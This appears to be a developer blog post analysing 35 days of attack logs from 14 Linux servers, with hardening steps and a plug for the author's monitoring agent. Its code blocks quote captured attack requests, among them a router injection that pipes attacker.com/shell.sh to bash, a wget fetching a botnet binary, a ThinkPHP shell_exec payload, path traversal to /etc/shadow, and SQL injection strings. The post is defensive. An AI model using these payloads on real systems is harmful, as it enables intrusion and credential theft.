Tools: I analyzed 250,000 attacks on my Linux servers. Here's what I found. (2026)

Tools: I analyzed 250,000 attacks on my Linux servers. Here's what I found. (2026)

The numbers

What's attacking you (and what they want)

SSH brute force — 20,960 events

.env file probing — 2,376 events

Config probing — 739 events

Path traversal — 1,362 events

Remote code execution — 799 events

Web shell access — 40 events

Scanner tools — 2,342 events

SQL injection — 13 confirmed events

Everything else

Where the attacks come from

The timeline: what happens when you deploy a fresh VPS

Per-server breakdown

What to do about it

1. SSH keys only, disable password auth

2. Block sensitive file access

3. Enable a firewall

4. Keep software updated

5. Monitor what's happening I set up real-time monitoring on 14 production Linux servers, a mix of VPS, bare metal, and Docker hosts across DigitalOcean, OVH, Hetzner, and a couple of on-prem boxes. One server hosts 64 domains. Another runs a single Laravel app. They range from 1 vCPU to 8 vCPU, Ubuntu, Debian, CentOS 7, and AlmaLinux. I wanted to answer a simple question: what's actually hitting my servers? I let it run for 35 days. The answer was worse than I expected. That's 8,400 attacks per day. Across 14 servers. Every single day. I'm going to skip the bot crawler noise and focus on what matters: attacks that can actually compromise your server. The most persistent threat. ~700 attempts per day, every day, without exception. The pattern is always the same: an IP connects, tries 50-200 passwords in 2-3 minutes, then moves on. They target every username you can think of: Most brute force comes in coordinated waves: the same IP hits multiple servers within seconds. With progressive ban escalation (24h first offense, 7 days second, 30 days third, permanent after that), 1,871 IPs have been permanently blocked. What to do: Disable password auth entirely. Use SSH keys only. Add this to /etc/ssh/sshd_config: Then systemctl restart sshd. This alone stops 99% of SSH brute force. This one should terrify every developer who deploys web apps: Every single one of my 14 servers gets probed for .env files multiple times per day. They're looking for database credentials, API keys, APP_KEY, Stripe secrets, everything that's in your .env. If your web server serves .env as a static file, you are already compromised. I guarantee it. The scanners are automated and run 24/7. What to do: Block .env access in your web server config: Attackers systematically check for every known config file across every framework. WordPress, Rails, Django, Laravel, Node, they try them all on every IP. They don't know what you're running; they just spray and see what responds. The .git/config one is particularly nasty if your .git directory is exposed, they can download your entire source code including commit history. Note the double URL-encoding: %252f decodes to %2f which decodes to /. This is designed to bypass naive WAFs that only decode once. They're trying to escape your web root and read system files — /etc/passwd to enumerate users, /etc/shadow for password hashes, or /proc/self/environ for environment variables. Each of these targets a specific CVE: They're checking if a previous attacker already left a web shell on your server. If any of these returns 200, your server is already owned. These User-Agents appear constantly: Scanners map your entire attack surface: what software you run, what versions, what ports are open, what known CVEs apply. The results either get used in targeted attacks or sold on forums. Low volume but high impact. Every attempt is a targeted exploit: Low count means most SQL injection gets caught at the application level or by pattern-based WAF rules. But 13 confirmed attempts in 35 days on production servers means it's real not theoretical. Surprise: the US is #1 by far. Not because Americans are hacking you — because AWS, DigitalOcean, Vultr, and Linode provide cheap VPS that attackers use as launchpads. Singapore at #2 is the same story (AWS ap-southeast-1). Russia and China combined are only 7%. Blocking "suspicious countries" misses 93% of the traffic. I tracked the exact timing from several fresh Droplet deployments: Your server is under attack before you finish your first apt update. The clean Droplet with nothing deployed got 9,500 attacks. The IP alone is enough. Five things every developer with a Linux server should do: This eliminates 100% of SSH brute force. Non-negotiable. Stops .env probing, .git exposure, and .htpasswd leaks. Only expose the ports you actually need. Most RCE attacks target known CVEs with patches already available. This is the part most developers skip. Without monitoring, all 254,000 of these events would be completely invisible. You'd never know until something breaks or your server starts sending spam. At minimum, check your auth log regularly: If you want real-time visibility, I built an open-source agent that does all of this automatically: detects SSH brute force (15 patterns), web attacks (15 OWASP types), and manages bots with a dashboard showing everything in real time. It's a single Go binary that installs in one command: Also works with Docker and Kubernetes. The agent is MIT-licensed: github.com/defensia/agent Free tier includes 1 server with full protection. defensia.cloud All data is from real production servers monitored between February 24 and March 31, 2026. No synthetic traffic, no test data. Just the internet being the internet. Templates let you quickly answer FAQs or store snippets for re-use. Hide child comments as well For further actions, you may consider blocking this person and/or reporting abuse

Code Block

Copy

root admin ubuntu test oracle postgres deploy git ftpuser minecraft root admin ubuntu test oracle postgres deploy git ftpuser minecraft root admin ubuntu test oracle postgres deploy git ftpuser minecraft PasswordAuthentication no PubkeyAuthentication yes PermitRootLogin prohibit-password PasswordAuthentication no PubkeyAuthentication yes PermitRootLogin prohibit-password PasswordAuthentication no PubkeyAuthentication yes PermitRootLogin prohibit-password GET /.env HTTP/1.1 GET /.env.local HTTP/1.1 GET /.env.production HTTP/1.1 GET /.env.backup HTTP/1.1 GET /api/.env HTTP/1.1 GET /app/.env HTTP/1.1 GET /laravel/.env HTTP/1.1 GET /wp-content/.env HTTP/1.1 GET /.env HTTP/1.1 GET /.env.local HTTP/1.1 GET /.env.production HTTP/1.1 GET /.env.backup HTTP/1.1 GET /api/.env HTTP/1.1 GET /app/.env HTTP/1.1 GET /laravel/.env HTTP/1.1 GET /wp-content/.env HTTP/1.1 GET /.env HTTP/1.1 GET /.env.local HTTP/1.1 GET /.env.production HTTP/1.1 GET /.env.backup HTTP/1.1 GET /api/.env HTTP/1.1 GET /app/.env HTTP/1.1 GET /laravel/.env HTTP/1.1 GET /wp-content/.env HTTP/1.1 # Nginx location ~ /\.env { deny all; return 404; } # Nginx location ~ /\.env { deny all; return 404; } # Nginx location ~ /\.env { deny all; return 404; } # Apache <FilesMatch "^\.env"> Require all denied </FilesMatch> # Apache <FilesMatch "^\.env"> Require all denied </FilesMatch> # Apache <FilesMatch "^\.env"> Require all denied </FilesMatch> GET /wp-config.php GET /.git/config GET /.git/HEAD GET /server-status GET /.htpasswd GET /web.config GET /config.php GET /database.yml GET /settings.py GET /wp-config.php GET /.git/config GET /.git/HEAD GET /server-status GET /.htpasswd GET /web.config GET /config.php GET /database.yml GET /settings.py GET /wp-config.php GET /.git/config GET /.git/HEAD GET /server-status GET /.htpasswd GET /web.config GET /config.php GET /database.yml GET /settings.py GET /../../etc/passwd GET /..%2f..%2f..%2fetc/shadow GET /static/..%252f..%252f..%252fetc/passwd GET /images/../../../etc/hostname GET /../../etc/passwd GET /..%2f..%2f..%2fetc/shadow GET /static/..%252f..%252f..%252fetc/passwd GET /images/../../../etc/hostname GET /../../etc/passwd GET /..%2f..%2f..%2fetc/shadow GET /static/..%252f..%252f..%252fetc/passwd GET /images/../../../etc/hostname GET /cgi-bin/luci/;stok=/locale?form=country&operation=write &country=$(curl+attacker.com/shell.sh|bash) POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php GET /index.php?s=/index/\think\app/invokefunction &function=call_user_func_array&vars[0]=shell_exec &vars[1][]=whoami GET /?cmd=wget+http://185.x.x.x/bins/bot.arm7 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write &country=$(curl+attacker.com/shell.sh|bash) POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php GET /index.php?s=/index/\think\app/invokefunction &function=call_user_func_array&vars[0]=shell_exec &vars[1][]=whoami GET /?cmd=wget+http://185.x.x.x/bins/bot.arm7 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write &country=$(curl+attacker.com/shell.sh|bash) POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php GET /index.php?s=/index/\think\app/invokefunction &function=call_user_func_array&vars[0]=shell_exec &vars[1][]=whoami GET /?cmd=wget+http://185.x.x.x/bins/bot.arm7 GET /c99.php GET /r57.php GET /shell.php GET /cmd.php GET /webshell.php GET /wp-content/uploads/shell.php GET /c99.php GET /r57.php GET /shell.php GET /cmd.php GET /webshell.php GET /wp-content/uploads/shell.php GET /c99.php GET /r57.php GET /shell.php GET /cmd.php GET /webshell.php GET /wp-content/uploads/shell.php sqlmap/1.7 Nuclei - Open-source project (projectdiscovery.io) Nmap Scripting Engine masscan/1.3 Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2) sqlmap/1.7 Nuclei - Open-source project (projectdiscovery.io) Nmap Scripting Engine masscan/1.3 Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2) sqlmap/1.7 Nuclei - Open-source project (projectdiscovery.io) Nmap Scripting Engine masscan/1.3 Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2) GET /index.php?id=1'+UNION+SELECT+username,password+FROM+users-- GET /search?q=1%27%20OR%201=1-- GET /index.php?id=1'+UNION+SELECT+username,password+FROM+users-- GET /search?q=1%27%20OR%201=1-- GET /index.php?id=1'+UNION+SELECT+username,password+FROM+users-- GET /search?q=1%27%20OR%201=1-- sed -i 's/#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config systemctl restart sshd sed -i 's/#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config systemctl restart sshd sed -i 's/#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config systemctl restart sshd # Nginx — add to every server block location ~ /\.(env|git|htpasswd) { deny all; return 404; } # Nginx — add to every server block location ~ /\.(env|git|htpasswd) { deny all; return 404; } # Nginx — add to every server block location ~ /\.(env|git|htpasswd) { deny all; return 404; } ufw default deny incoming ufw allow ssh ufw allow http ufw allow https ufw enable ufw default deny incoming ufw allow ssh ufw allow http ufw allow https ufw enable ufw default deny incoming ufw allow ssh ufw allow http ufw allow https ufw enable apt update && apt upgrade -y # Or enable unattended-upgrades for security patches apt update && apt upgrade -y # Or enable unattended-upgrades for security patches apt update && apt upgrade -y # Or enable unattended-upgrades for security patches grep "Failed password" /var/log/auth.log | tail -20 grep "Failed password" /var/log/auth.log | tail -20 grep "Failed password" /var/log/auth.log | tail -20 curl -fsSL https://defensia.cloud/install.sh | sudo bash -s -- --token <YOUR_TOKEN> curl -fsSL https://defensia.cloud/install.sh | sudo bash -s -- --token <YOUR_TOKEN> curl -fsSL https://defensia.cloud/install.sh | sudo bash -s -- --token <YOUR_TOKEN> - PHPUnit eval-stdin.php — a dev dependency that should never be on production. If it's accessible, they have full shell access. - ThinkPHP RCE — affects ThinkPHP < 5.0.24. Allows arbitrary command execution via URL. - Luci router RCE — targets OpenWrt/router admin panels exposed to the internet. - Direct wget — tries to download and execute a botnet binary. bot.arm7 tells you they're targeting IoT devices too.